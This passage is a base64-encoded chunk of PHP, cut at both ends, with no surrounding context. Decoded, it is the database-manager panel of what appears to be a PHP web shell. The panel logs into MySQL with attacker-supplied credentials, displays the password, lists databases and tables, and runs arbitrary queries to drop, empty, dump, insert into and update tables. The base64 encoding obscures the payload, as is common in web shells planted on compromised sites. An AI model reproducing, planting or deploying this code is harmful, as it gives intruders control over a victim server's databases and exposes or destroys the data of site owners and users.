vZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTt9DQogaWYgKCRzcWxfcGFzc3dkKSB7JHNxbF9zdXJsIC49ICImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpO30NCiBpZiAoJHNxbF9zZXJ2ZXIpIHskc3FsX3N1cmwgLj0gIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7fQ0KIGlmICgkc3FsX3BvcnQpICAgeyRzcWxfc3VybCAuPSAiJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpO30NCiBpZiAoJHNxbF9kYikgICAgIHskc3FsX3N1cmwgLj0gIiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpO30NCiAkc3FsX3N1cmwgLj0gIiYiOw0KID8+PGgzPkF0dGVudGlvbiEgU1FMLU1hbmFnZXIgaXMgPHU+Tk9UPC91PiByZWFkeSBtb2R1bGUhIERvbid0IHJlcG9ydHMgYnVncy48L2gzPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIGNvbHNwYW49IjIiIHZhbGlnbj0idG9wIj48Y2VudGVyPjw/cGhwDQogaWYgKCRzcWxfc2VydmVyKQ0KIHsNCiAgJHNxbF9zb2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3Bhc3N3ZCk7DQogICRlcnIgPSBteXNxbF9zbWFydGVycm9yKCk7DQogIEBteXNxbF9zZWxlY3RfZGIoJHNxbF9kYiwkc3FsX3NvY2spOw0KICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiB9DQogZWxzZSB7JHNxbF9zb2NrID0gRkFMU0U7fQ0KIGVjaG8gIjxiPlNRTCBNYW5hZ2VyOjwvYj48YnI+IjsNCiBpZiAoISRzcWxfc29jaykNCiB7DQogIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgY29ubmVjdDwvYj48L2NlbnRlcj4iOyBlY2hvICI8Yj4iLiRlcnIuIjwvYj4iO30NCiB9DQogZWxzZQ0KIHsNCiAgJHNxbHF1aWNrbGF1bmNoID0gYXJyYXkoKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiSW5kZXgiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJRdWVyeSIsJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyLXN0YXR1cyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1zZXJ2ZXJzdGF0dXMiKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1zZXJ2ZXJ2YXJzIik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1wcm9jZXNzZXMiKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiTG9nb3V0Iiwkc3VybC4iYWN0PXNxbCIpOw0KICBlY2hvICI8Y2VudGVyPjxiPk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIHJ1bm5pbmcgaW4gIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPC9iPjxicj4iOw0KICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPjxiPiIuJGl0ZW1bMF0uIjwvYj48L2E+IF0gIjt9fQ0KICBlY2hvICI8L2NlbnRlcj4iOw0KIH0NCiBlY2hvICI8L3RkPjwvdHI+PHRyPiI7DQogaWYgKCEkc3FsX3NvY2spIHs/Pjx0ZCB3aWR0aD0iMjglIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGZvbnQgc2l6ZT0iNSI+IGkgPC9mb250PjwvY2VudGVyPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD0iOTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBib3JkZXI9MD48dHI+PHRkPiZuYnNwOzxiPlBsZWFzZSwgZmlsbCB0aGUgZm9ybTo8L2I+PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5hbWU8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQ8L2I+Jm5ic3A7PC90ZD48dGQ+PGI+RGF0YWJhc2U8L2I+Jm5ic3A7PC90ZD48L3RyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSJyb290IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBzaXplPSIzIj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQ0KIGVsc2UNCiB7DQogIC8vU3RhcnQgbGVmdCBwYW5lbA0KICBpZiAoIWVtcHR5KCRzcWxfZGIpKQ0KICB7DQogICA/Pjx0ZCB3aWR0aD0iMjUlIiBoZWlnaHQ9IjEwMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiI7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocA0KICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgJGMgPSAwOw0KICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskY291bnQgPSBteXNxbF9xdWVyeSAoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICIuJHJvd1swXSk7ICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOyBlY2hvICI8Yj4/bmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9DQogICAgaWYgKCEkYykge2VjaG8gIk5vIHRhYmxlcyBmb3VuZCBpbiBkYXRhYmFzZS4iO30NCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgID8+PHRkIHdpZHRoPSIxIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNxbF9zdXJsOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+PD9waHANCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOw0KICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgID8+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxzZWxlY3QgbmFtZT0ic3FsX2RiIj48P3BocA0KICAgICRjID0gMDsNCiAgICAkZGJzID0gIiI7DQogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgkc3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJvd1swXS4iPC9vcHRpb24+IjsgJGMrKzt9DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPiI7DQogICAgZWNobyAkZGJzOw0KICAgfQ0KICAgPz48L3NlbGVjdD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBzaXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/cGhwDQogIH0NCiAgLy9FbmQgbGVmdCBwYW5lbA0KICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCIgdmFsaWduPVwidG9wXCI+IjsNCiAgLy9TdGFydCBjZW50ZXIgcGFuZWwNCiAgJGRpcGxheSA9IFRSVUU7DQogIGlmICgkc3FsX2RiKQ0KICB7DQogICBpZiAoIWlzX251bWVyaWMoJGMpKSB7JGMgPSAwO30NCiAgIGlmICgkYyA9PSAwKSB7JGMgPSAibm8iO30NCiAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UaGVyZSBhcmUgIi4kYy4iIHRhYmxlKHMpIGluIHRoaXMgREIgKCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iKS48YnI+IjsNCiAgIGlmIChjb3VudCgkZGJxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319DQogICBlY2hvICI8L2I+PC9jZW50ZXI+IjsNCiAgICRhY3RzID0gYXJyYXkoIiIsImR1bXAiKTsNCiAgIGlmICgkc3FsX2FjdCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGVtcHR5IikgeyRzcWxfcXVlcnkgPSAiIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFIEZST00gYCIuJHYuImAgXG4iO30gJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90YmwpO30gJHNxbF9hY3QgPSAiZHVtcCI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsY2hlY2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsb3B0aW1pemUiKSB7JHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxhbmFseXplIikgeyRzcWxfcXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZGVsZXRlcm93IikgeyRzcWxfcXVlcnkgPSAiIjsgaWYgKCFlbXB0eSgkYm94cm93X2FsbCkpIHskc3FsX3F1ZXJ5ID0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImA7Ijt9IGVsc2Uge2ZvcmVhY2goJGJveHJvdyBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR2LiIgTElNSVQgMTtcbiI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSk7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX3RibF9hY3QgPT0gImluc2VydCIpDQogICB7DQogICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKQ0KICAgIHsNCiAgICAgJGtleXMgPSAiIjsNCiAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOw0KICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQ0KICAgICBpZiAoIWVtcHR5KCRrZXlzKSkgeyRrZXlzID0gc3Vic3RyKCRrZXlzLDAsc3RybGVuKCRrZXlzKS0yKTt9DQogICAgICR2YWx1ZXMgPSAiIjsNCiAgICAgJGkgPSAwOw0KICAgICBmb3JlYWNoIChhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAkdikge2lmICgkZnVuY3QgPSAkc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRha2V5c1skaV1dKSB7JHZhbHVlcyAuPSAkZnVuY3QuIiAoIjt9ICR2YWx1ZXMgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgaWYgKCRmdW5jdCkgeyR2YWx1ZXMgLj0gIikiO30gJHZhbHVlcyAuPSAiLCAiOyAkaSsrO30NCiAgICAgaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxlbigkdmFsdWVzKS0yKTt9DQogICAgICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7DQogICAgICRzcWxfYWN0ID0gInF1ZXJ5IjsNCiAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7DQogICAgfQ0KICAgIGVsc2VpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDIpDQogICAgew0KICAgICAkc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVuY3RzKTsNCiAgICAgJHNxbF9xdWVyeSA9ICJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNldC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOw0KICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOw0KICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOw0KICAgIH0NCiAgIH0NCiAgIGlmICgkc3FsX2FjdCA9PSAicXVlcnkiKQ0KICAgew0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQ0KICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpIHtlY2hvICI8dGFibGUgYm9yZGVyPVwiMFwiIHdpZHRoPVwiMTAwJVwiIGhlaWdodD1cIjFcIj48dHI+PHRkPjxmb3JtIGFjdGlvbj1cIiIuJHNxbF9zdXJsLiJcIiBtZXRob2Q9XCJQT1NUXCI+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0bzoiO30gZWxzZSB7ZWNobyAiU1FMLVF1ZXJ5IDoiO30gZWNobyAiPC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCJzcWxfcXVlcnlcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9DQogICB9DQogICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKQ0KICAgew0KICAgID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld3RibCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InN